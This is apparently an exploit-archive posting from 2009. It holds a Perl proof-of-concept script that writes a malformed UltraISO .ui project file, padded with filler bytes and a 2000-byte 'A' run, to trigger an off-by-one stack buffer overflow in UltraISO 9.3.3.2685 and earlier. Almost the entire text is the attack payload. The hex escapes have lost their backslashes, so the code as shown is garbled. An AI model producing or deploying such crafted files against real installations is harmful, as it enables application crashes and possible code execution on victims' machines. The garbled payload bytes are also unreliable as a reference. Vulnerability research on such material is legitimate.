ultraiso9332685-overflow.txt
Posted on 07 April 2009
# UltraISO <= 9.3.3.2685 .ui Off By One / Bof Poc Exploit # Probably impossible to exploit, but who knows? -_- At least, there still exist stack overflows in :d # usage perl poc.pl >>xpl.ui my $poc= "x55x6Cx74x72x61x49x53x4Fx20x50x72x6Fx6Ax65x63x74". "x20x10x20x20xC8x14x52x02x02x02x02x01xF2x02x02x02". "x01x12x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x05x76x96xE3x33x22x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x03x23x03x03x93x03x43x03x65". "xF3x13x93x53x33x23x32x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x05x56xC7x47x26". "x14x95x34xF2x05x63x92xE3x32x04x34x42x02x62x04x45". "x64x42x04x37x26x56x17x46xF7x22xC2x02x86x32x93x23". "x03x03x92x04x55xA4x22x05x37x97x37x46x56xD7x32xC2". "x41" x 2000 . "x04x96xE6x32xE2x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "xF2x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02". "x02x02x02x02x02x02x02x02x02x02x02x02x02x02x08x20". "x20x20"; print $poc;
